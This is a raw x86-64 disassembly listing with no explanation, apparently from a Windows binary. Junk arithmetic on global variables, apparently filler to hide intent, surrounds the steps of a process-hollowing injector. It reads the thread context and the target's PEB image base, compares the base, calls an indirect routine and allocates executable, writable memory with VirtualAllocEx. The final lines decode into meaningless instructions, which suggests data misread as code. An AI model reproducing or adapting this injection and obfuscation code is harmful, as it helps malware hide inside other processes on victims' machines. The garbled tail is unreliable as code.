add eax, 0xc61a20a5
mov dword [0x00584e60], eax
mov eax, dword [0x00584e6c]
add eax, 0x460f6188
mov dword [0x00584e60], eax
mov eax, dword [0x00584e64]
sub eax, 0x4e76398a
mov dword [0x00584e54], eax
mov eax, dword [0x00584e64]
add eax, 0xae12c15a
mov dword [0x00584e58], eax
and dword [0x00584e58], 0x59a2da24
mov eax, dword [0x00584e68]
and eax, 0x56c79352
mov dword [0x00584e58], eax
mov eax, dword [0x00584e64]
add eax, 0x74450593
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e60]
add eax, 0x45cee6da
mov dword [0x00584e64], eax
mov eax, dword [0x00584e5c]
xor eax, 0xc16a94d
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e6c]
sub eax, 0x29941b8e
mov dword [0x00584e68], eax
mov eax, dword [0x00584e6c]
add eax, 0x308d5027
mov dword [0x00584e58], eax
imul eax, dword [0x00584e6c], 0x6e637b7b
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e68]
add eax, 0x5aa5066b
mov dword [0x00584e54], eax
sub dword [0x00584e54], 0x15aaaa0a
mov ecx, 0xa51575c2
mov eax, dword [0x00584e5c]
xor edx, edx
div ecx
mov dword [0x00584e60], eax
imul eax, dword [0x00584e54], 0xfda34abf
mov dword [0x00584e54], eax
mov dword [rsi + 0x30], 0x10007
imul eax, dword [0x00584e64], 0xe25501e3
mov dword [0x00584e64], eax
mov eax, dword [0x00584e58]
add eax, 0x4624f5b4
mov dword [0x00584e68], eax
imul eax, dword [0x00584e68], 0x774b5ecb
mov dword [0x00584e68], eax
mov eax, dword [0x00584e6c]
add eax, 0xc7725bc6
mov dword [0x00584e64], eax
mov eax, dword [0x00584e68]
add eax, 0xb5218a1f
mov dword [0x00584e64], eax
mov eax, dword [0x00584e6c]
and eax, 0x9d2fa90e
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e58]
add eax, 0x33a92799
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e5c]
sub eax, 0x215855f2
mov dword [0x00584e60], eax
mov eax, dword [0x00584e58]
add eax, 0x8695ed2c
mov dword [0x00584e64], eax
imul eax, dword [0x00584e60], 0xc038ac7f
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e68]
add eax, 0x391f3a8f
mov dword [0x00584e60], eax
mov eax, dword [0x00584e54]
xor eax, 0x3643f3bd
mov dword [0x00584e58], eax
add dword [0x00584e6c], 0x49c6cb60
add dword [0x00584e60], 0x470102c8
mov eax, dword [0x00584e68]
add eax, 0x49dc499a
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e58]
sub eax, 0x4dd0ff8
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e60]
xor eax, 0xd0c5e1d5
mov dword [0x00584e54], eax
mov eax, dword [0x00584e64]
add eax, 0x19de2bfd
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e54]
add eax, 0x7ea783
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e6c]
and eax, 0x644e9b54
mov dword [0x00584e64], eax
mov eax, dword [0x00584e64]
xor eax, 0xbcdc7051
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e5c]
add eax, 0x9299bd99
mov dword [0x00584e54], eax
imul eax, dword [0x00584e6c], 0x1c6379e7
mov dword [0x00584e58], eax
mov rcx, qword [rbp + 0x500]
mov rdx, rsi
call qword [0x00584e80]
test eax, eax
je 0x546544
mov eax, dword [0x00584e60]
add eax, 0x384a0c1b
mov dword [0x00584e54], eax
add dword [0x00584e6c], 0xd44f1bd6
mov eax, dword [0x00584e6c]
add eax, 0xab7a0c87
mov dword [0x00584e58], eax
mov ecx, 0xfba10982
mov eax, dword [0x00584e6c]
xor edx, edx
div ecx
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e68]
xor eax, 0x3ae4d83f
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e6c]
add eax, 0xfcf92eb1
mov dword [0x00584e64], eax
mov eax, dword [0x00584e54]
add eax, 0xc4ae948d
mov dword [0x00584e68], eax
mov eax, dword [0x00584e5c]
sub eax, 0x60c92282
mov dword [0x00584e64], eax
mov eax, dword [0x00584e58]
add eax, 0x54a8879
mov dword [0x00584e60], eax
mov eax, dword [0x00584e60]
add eax, 0xdb1607b
mov dword [0x00584e58], eax
add dword [0x00584e58], 0xca24a783
mov eax, dword [0x00584e60]
add eax, 0x1e7f107f
mov dword [0x00584e54], eax
xor dword [0x00584e54], 0x2144d917
mov eax, dword [0x00584e68]
add eax, 0x55468900
mov dword [0x00584e64], eax
imul eax, dword [0x00584e58], 0x3212891b
mov dword [0x00584e54], eax
imul eax, dword [0x00584e64], 0xdda2a1e5
mov dword [0x00584e6c], eax
imul eax, dword [0x00584e5c], 0x31fd0ae1
mov dword [0x00584e64], eax
imul eax, dword [0x00584e6c], 0xd7ec1441
mov dword [0x00584e58], eax
add dword [0x00584e64], 0xefc87718
mov eax, dword [0x00584e64]
add eax, 0x7b2badc6
mov dword [0x00584e60], eax
mov ecx, 0xbd096e24
mov eax, dword [0x00584e5c]
xor edx, edx
div ecx
mov dword [0x00584e54], eax
imul eax, dword [0x00584e68], 0xb8c083e9
mov dword [0x00584e64], eax
mov eax, dword [0x00584e60]
xor eax, 0xf696af3d
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e5c]
add eax, 0xb19c52dc
mov dword [0x00584e54], eax
mov eax, dword [0x00584e54]
add eax, 0x3b660f2a
mov dword [0x00584e64], eax
mov eax, dword [0x00584e68]
xor eax, 0x371d24ef
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e6c]
add eax, 0xc0e6e13d
mov dword [0x00584e58], eax
mov eax, dword [0x00584e60]
xor eax, 0x28ea410f
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e58]
add eax, 0x7bd706a2
mov dword [0x00584e64], eax
mov rax, qword [rsi + 0x88]
lea rax, [rax + 0xa]
add rax, 6
mov ecx, 8
mov rdx, qword [rbp + 0x4f8]
lea r8, [rbp + 0x480]
mov r9, rcx
lea rcx, [rbp + 0x470]
mov qword [rsp + 0x20], rcx
mov rcx, rdx
mov rdx, rax
call qword [0x00584e78]
mov rax, qword [rbp + 0x480]
cmp rax, qword [r13 + 0x30]
jne 0x54552a
mov eax, dword [0x00584e68]
add eax, 0x4f12b21e
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e60]
sub eax, 0x2a710ed0
mov dword [0x00584e54], eax
mov eax, dword [0x00584e60]
add eax, 0xe143466e
mov dword [0x00584e58], eax
mov eax, dword [0x00584e64]
add eax, 0x316a4369
mov dword [0x00584e60], eax
add dword [0x00584e60], 0x327b2ea2
mov eax, dword [0x00584e64]
and eax, 0x89f81866
mov dword [0x00584e58], eax
mov ecx, 0xfa77ce74
mov eax, dword [0x00584e60]
xor edx, edx
div ecx
mov dword [0x00584e68], eax
mov eax, dword [0x00584e60]
xor eax, 0xedc80c37
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e54]
and eax, 0x84418ac2
mov dword [0x00584e60], eax
mov eax, dword [0x00584e60]
add eax, 0x1519f9e3
mov dword [0x00584e68], eax
mov eax, dword [0x00584e6c]
add eax, 0x7ff8a087
mov dword [0x00584e64], eax
mov ecx, dword [rbp + 0x4f8]
mov rdx, qword [r13 + 0x30]
call rbx
test eax, eax
jne 0x5454ff
mov rcx, qword [rbp + 0x4f8]
mov rdx, qword [r13 + 0x30]
mov r8d, dword [r13 + 0x50]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call sub.kernel32.dll_VirtualAllocEx
mov qword [rbp + 0x478], rax
jmp 0x545554
mov rcx, qword [rbp + 0x4f8]
xor rdx, rdx
mov r8d, dword [r13 + 0x50]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call sub.kernel32.dll_VirtualAllocEx
mov qword [rbp + 0x478], rax
jmp 0x545554
mov rcx, qword [rbp + 0x4f8]
mov rdx, qword [r13 + 0x30]
mov r8d, dword [r13 + 0x50]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call sub.kernel32.dll_VirtualAllocEx
mov qword [rbp + 0x478], rax
cmp qword [rbp + 0x478], 0
je 0x546544
mov ecx, 0x4e1bcd68
mov eax, dword [0x00584e60]
xor edx, edx
div ecx
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e58]
add eax, 0x7b3cd9e
mov dword [0x00584e54], eax
mov eax, dword [0x00584e5c]
add eax, 0x8207ff17
mov dword [0x00584e60], eax
mov eax, dword [0x00584e54]
add eax, 0xf287b525
mov dword [0x00584e64], eax
mov eax, dword [0x00584e64]
add eax, 0x5d665bc9
mov dword [0x00584e6c], eax
mov ecx, 0x3fd36b4e
mov eax, dword [0x00584e54]
xor edx, edx
div ecx
mov dword [0x00584e60], eax
mov eax, dword [0x00584e64]
add eax, 0x9f6ff31e
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e60]
add eax, 0xe454d145
mov dword [0x00584e6c], eax
mov eax, dword [0x00584e6c]
add eax, 0x1df79098
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e6c]
add eax, 0x20bd5930
mov dword [0x00584e54], eax
mov ecx, 0x2ec5409c
mov eax, dword [0x00584e5c]
xor edx, edx
div ecx
mov dword [0x00584e5c], eax
mov eax, dword [0x00584e58]
add eax, 0x4f21e3
add byte [rcx + 0x3f80e05], cl
add byte [rbx + 0x3f80c05], cl
add byte [rcx + 0x3e2b43c0], al
cmpsb byte [rsi], byte [rdi]